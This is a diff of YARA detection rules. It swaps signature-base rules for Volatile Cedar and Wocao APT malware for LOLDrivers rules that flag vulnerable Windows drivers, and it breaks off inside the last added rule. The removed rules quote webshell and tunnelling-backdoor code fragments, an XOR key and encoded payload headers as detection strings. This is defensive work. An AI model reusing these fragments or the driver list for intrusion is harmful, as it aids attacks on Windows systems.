-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "62fe6e9e395f70dd632c70d5d154a16ff38dcd29"
-		logic_hash = "db7ead96e0a9b4cf5c5cc885eac421cc11988f60d03f94de5fe828899d115bf0"
-		score = 70
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "24415567-6904-52b1-964d-1a0a4aefe08e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4738-L4757"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "238046cfe126a1f8ab96d8b62f6aa5ec97bab830e2bae5b1b6ab2d31894c79e4"
+		logic_hash = "7ac9c6ae541d6689a986d884e96f2f024a18736a59b02a1103e44538d725bb52"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "serverhelp.dll" fullword wide
-		$s1 = "Windows Help DLL" fullword wide
-		$s5 = "SetWinHoK" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200033002c00200032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003900200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		all of them and uint16(0)==0x5A4D
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Explosion_Generic_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_D7C9 : FILE
 {
 	meta:
-		description = "Generic Rule for Explosion/Explosive Malware - Volatile Cedar APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dc3721b6-c19e-5449-9962-2a6f844e49b4"
-		date = "2015-04-03"
-		modified = "2023-12-05"
-		reference = "not set"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_volatile_cedar.yar#L59-L88"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8b6e1e6aa838036989040dfbf4f6f3e347a717967deef740b35d1752b5c91da5"
-		score = 70
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "6ffeb0f5-e438-5187-8cbb-53f3fec6ab06"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4760-L4780"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d7c90cf3fdbbd2f40fe6a39ad0bb2a9a97a0416354ea84db3aeff6d925d14df8"
+		hash = "64a8e00570c68574b091ebdd5734b87f544fa59b75a4377966c661d0475d69a5"
+		logic_hash = "1e5669c7c79c027bdef5dbd135b35ea4e9af8c164b6b8f027490e2fa49ebf904"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "d0f059ba21f06021579835a55220d1e822d1233f95879ea6f7cb9d301408c821"
-		hash1 = "1952fa94b582e9af9dca596b5e51c585a78b8b1610639e3b878bbfa365e8e908"
-		hash2 = "d8fdcdaad652c19f4f4676cd2f89ae834dbc19e2759a206044b18601875f2726"
-		hash3 = "e2e6ed82703de21eb4c5885730ba3db42f3ddda8b94beb2ee0c3af61bc435747"
-		hash4 = "03641e5632673615f23b2a8325d7355c4499a40f47b6ae094606a73c56e24ad0"
 
 	strings:
-		$s0 = "autorun.exe" fullword
-		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CL"
-		$s2 = "%drp.exe" fullword
-		$s3 = "%s_%s%d.exe" fullword
-		$s4 = "open=autorun.exe" fullword
-		$s5 = "http://www.microsoft.com/en-us/default.aspx" fullword
-		$s10 = "error.renamefile" fullword
-		$s12 = "insufficient lookahead" fullword
-		$s13 = "%s %s|" fullword
-		$s16 = ":\\autorun.exe" fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056006900640069006100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000300030002c002000300030002c002000300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e0056006f0063006c006f0063006b002e00520043 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300033 }
 
 	condition:
-		7 of them and uint16(0)==0x5A4D
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Explosive_UA : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Cn_Computerzsys_A97B : FILE
 {
 	meta:
-		description = "Explosive Malware Embedded User Agent - Volatile Cedar APT http://goo.gl/HQRCdw"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d88d5fd6-adf9-5ced-8b79-e47e3ffbde50"
-		date = "2015-04-03"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/HQRCdw"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_volatile_cedar.yar#L90-L104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9ed7fedcf9cda868803c8ace393e08709a747b909178e19cdbb1b116edbb82f9"
-		score = 60
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "2644da4b-8a15-5b41-b92c-6e4cd2e2d696"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4783-L4803"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a97b404aae301048e0600693457c3320d33f395e9312938831bc5a0e808f2e67"
+		hash = "47c490cc83a17ff36a1a92e08d63e76edffba49c9577865315a6c9be6ba80a7d"
+		logic_hash = "1b7961c9c0e0812fa68f330f45ba1834a246f3571e9086280b03c155865746e9"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727)" fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]003300360030002e0063006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e00310031002e0031003000300038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e00310031002e0031003000300038 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]003300360030786c4ef659275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100310020003300360030002e0063006e }
 
 	condition:
-		$x1 and uint16(0)==0x5A4D
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Caterpillar_ASPX
+rule LOLDRIVERS_PUA_VULN_Driver_Msi_Ntiolibxsys_Ntiolibx_1E8B : FILE
 {
 	meta:
-		description = "Volatile Cedar Webshell - from file caterpillar.aspx"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9af48c64-3768-5765-8245-38df000598a7"
-		date = "2015-04-03"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/emons5"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_volatile_cedar.yar#L106-L126"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9df2e4a25052136d6e622273f917bd15df410869a8cf3075c773a14ea62a2a55"
-		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "af4c99208fb92dc42bc98c4f96c3536ec8f3fe56"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		id = "208dd67e-2d2d-5104-a497-1311cea9e223"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4806-L4826"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1e8b0c1966e566a523d652e00f7727d8b0663f1dfdce3b9a09b9adfaef48d8ee"
+		hash = "5d530e111400785d183057113d70623e17af32931668ab7c7fc826f0fd4f91a3"
+		logic_hash = "673d993f0ad7800551cfc11d73a38aa37b306902f2d28db4d5ec5f33bc51f21f"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s0 = "Dim objNewRequest As WebRequest = HttpWebRequest.Create(sURL)" fullword
-		$s1 = "command = \"ipconfig /all\"" fullword
-		$s3 = "For Each xfile In mydir.GetFiles()" fullword
-		$s6 = "Dim oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")" fullword
-		$s10 = "recResult = adoConn.Execute(strQuery)" fullword
-		$s12 = "b = Request.QueryString(\"src\")" fullword
-		$s13 = "rw(\"<a href='\" + link + \"' target='\" + target + \"'>\" + title + \"</a>\")" fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062005f005800360034 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100340020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Agent_Csharp
+rule LOLDRIVERS_PUA_VULN_Driver_Featureintegrationtechnologyinc_Fintekpciecom_81FB : FILE
 {
 	meta:
-		description = "Strings from CSharp version of Agent"
-		author = "Fox-IT SRT"
-		id = "e5212226-a82d-558d-abb4-43ad7848764e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L2-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e77fcd2ac0c21db54563b15466962a775a5e8ef73cedb3af5cd00d5b0d615e4c"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - FPCIE2COM.sys"
+		author = "Florian Roth"
+		id = "d741c03b-0ad5-5cf7-8fcd-3267c3f40d64"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4829-L4848"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "81fbc9d02ef9e05602ea9c0804d423043d0ea5a06393c7ece3be03459f76a41d"
+		hash = "ebf0e56a1941e3a6583aab4a735f1b04d4750228c18666925945ed9d7c9007e1"
+		logic_hash = "24ae9365e55b29c55f83f944154f8fd4643c733f33cfb6542e9159b52acdb9c3"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a = "mysend(client_sock, new byte[] { 0x16, 0x00 }, 2);" ascii wide
-		$b = "Dns.GetHostAddresses(sip.Remove(sip.Length - 1));" ascii wide
-		$c = "Port = 256 * buf[4] + buf[5];" ascii wide
-		$d = "Port = 256 * buf[AddrLen] + buf[AddrLen + 1];" ascii wide
-		$e = "StartTransData(CliSock" ascii wide
-		$f = "static void ForwardTransmit(object ft_data)" ascii wide
-		$key = "0x4c, 0x1b, 0x68, 0x0b, 0x6a, 0x18, 0x09, 0x41, 0x5a, 0x36, 0x1f, 0x56, 0x26, 0x2a, 0x03, 0x44, 0x7d, 0x5f, 0x03, 0x7b, 0x07, 0x6e, 0x03, 0x77, 0x30, 0x70, 0x52, 0x42, 0x53, 0x67, 0x0a, 0x2a" ascii wide
-		$key_raw = { 4c1b680b6a1809415a361f56262a03447d5f037b076e03773070524253670a2a }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00460049004e00540045004b002000500043004900450043004f004d00200041006400610070007400650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004600650061007400750072006500200049006e0074006500670072006100740069006f006e00200054006500630068006e006f006c006f0067007900200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320032002c00310032002c0035002c0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320032002c00310032002c0035002c0030 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00460049004e00540045004b002000500043004900450043004f004d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0046005000430049004500320043004f004d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003200320020004600650061007400750072006500200049006e0074006500670072006100740069006f006e00200054006500630068006e006f006c006f0067007900200049006e0063002e }
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Agent_Powershell_Dropper
+rule LOLDRIVERS_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_6BFC : FILE
 {
 	meta:
-		description = "Strings from PowerShell dropper of CSharp version of Agent"
-		author = "Fox-IT SRT"
-		id = "833ce607-56a9-5580-bbd1-e72392945fec"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L24-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "19f56e69685ae8c13b9dd884f8322915835c16e2c6313f01f9fa447218419108"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		id = "c5104fcb-7d6a-54dc-a79e-366f16ecd8a0"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4851-L4872"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6bfc0f425de9f4e7480aa2d1f2e08892d0553ed0df1c31e9bf3d8d702f38fa2e"
+		hash = "3c7e5b25a33a7805c999d318a9523fcae46695a89f55bbdb8bb9087360323dfc"
+		hash = "46621554728bc55438c7c241137af401250f062edef6e7efecf1a6f0f6d0c1f7"
+		logic_hash = "bc754dc4c4a916691f3d32e8cfad99f1a426d9d6d59d9d6f3c93cabfd581d8a9"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a = "function format([string]$source)"
-		$b = "foreach($c in $bb){$tt = $tt + [char]($c -bxor"
-		$c = "[agent]::Main($args);"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310031 }
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Agent_Powershell_B64Encoded
+rule LOLDRIVERS_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_7A48 : FILE
 {
 	meta:
-		description = "Piece of Base64 encoded data from Agent CSharp version"
-		author = "Fox-IT SRT"
-		id = "14e1702d-6229-5989-8bb7-cc9c0c321676"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L40-L52"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bcf9a75dbbf90044db76c56ffd07971d4252b0e75d73abf402ca4fadbfb59767"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		id = "7c796850-8413-53b0-bbbd-4991c1af6626"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4875-L4894"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7a48f92a9c2d95a72e18055cac28c1e7e6cad5f47aa735cbea5c3b82813ccfaf"
+		logic_hash = "3827cad3f54342cba5e6cfc98b2e30522feb79ea8917d882b95dcc66863e389d"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$header = "LFNVT0hBBnVfVVJDSx0sU1VPSEEGdV9VUkNLCG9pHSxTVU9IQQZ1X1VSQ0sIZUlK"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00340031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00340031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320031 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Agent_Py
+rule LOLDRIVERS_PUA_VULN_Driver_Zemanaltd_Zam_45F4 : FILE
 {
 	meta:
-		description = "Strings from Python version of Agent"
-		author = "Fox-IT SRT"
-		id = "ca30dd6a-b596-54ab-b4f0-50e6b1382f73"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L54-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9b6eba750c96501aae1d86eef458d3e80de665efc7ce9d5aff842bc44363bad2"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys, zamguard32.sys, zamguard64.sys"
+		author = "Florian Roth"
+		id = "56dc2fa5-c19c-5a77-9590-e7a957ccb27f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4897-L4913"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "45f42c5d874369d6be270ea27a5511efcca512aeac7977f83a51b7c4dee6b5ef"
+		logic_hash = "539d1795ae819c2705e77cb41ec4248c7239ffa8cd805addbb9e5da5e98a83e2"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a = "vpshex.decode"
-		$b = "self._newsock.recv"
-		$c = "Rsock.connect"
-		$d = /MAX_DATALEN\s?=\s?10240/
-		$e = /LISTEN_MAXCOUNT\s?=\s?80/
-		$f = "ListenSock.listen(LISTEN_MAXCOUNT)"
-		$g = "nextsock.send(head)"
-		$h = "elif transnode"
-		$i = "infobuf[4:6]"
-		$key = "L\\x1bh\\x0bj\\x18\\tAZ6\\x1fV&*\\x03D}_\\x03{\\x07n\\x03w0pRBSg\\n*"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320030002e003800360035 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Agent_Py_B64Encoded
+rule LOLDRIVERS_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_4D05 : FILE
 {
 	meta:
-		description = "Piece of Base64 encoded data from Agent Python version"
-		author = "Fox-IT SRT"
-		id = "eb2701e9-4358-5d24-bfcd-b4dde24f13bf"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L77-L89"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "279fb27637d9b62b484283f778215d042de9fb83110a233e048452e921c540ee"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		id = "e52c22aa-347f-5618-93b8-b4dab3f04b35"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4916-L4942"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4d0580c20c1ba74cf90d44c82d040f0039542eea96e4bbff3996e6760f457cee"
+		hash = "77c5e95b872b1d815d6d3ed28b399ca39f3427eeb0143f49982120ff732285a9"
+		hash = "cff9aa9046bdfd781d34f607d901a431a51bb7e5f48f4f681cc743b2cdedc98c"
+		hash = "b51ddcf8309c80384986dda9b11bf7856b030e3e885b0856efdb9e84064917e5"
+		hash = "ff115cefe624b6ca0b3878a86f6f8b352d1915b65fbbdc33ae15530a96ebdaa7"
+		hash = "a566af57d88f37fa033e64b1d8abbd3ffdacaba260475fbbc8dab846a824eff5"
+		hash = "57a389da784269bb2cc0a258500f6dfbf4f6269276e1192619ce439ec77f4572"
+		hash = "d74755311d127d0eb7454e56babc2db8dbaa814bc4ba8e2a7754d3e0224778e1"
+		logic_hash = "4e043c30e6b74d21ef14aec63454c6a48c0ac3e770b39114dc6ba988023ebabf"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$header = "QlpoOTFBWSZTWWDdHjgABDTfgHwQe////z/v/9+////6YA4cGPsAl2e8M9LSU128"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
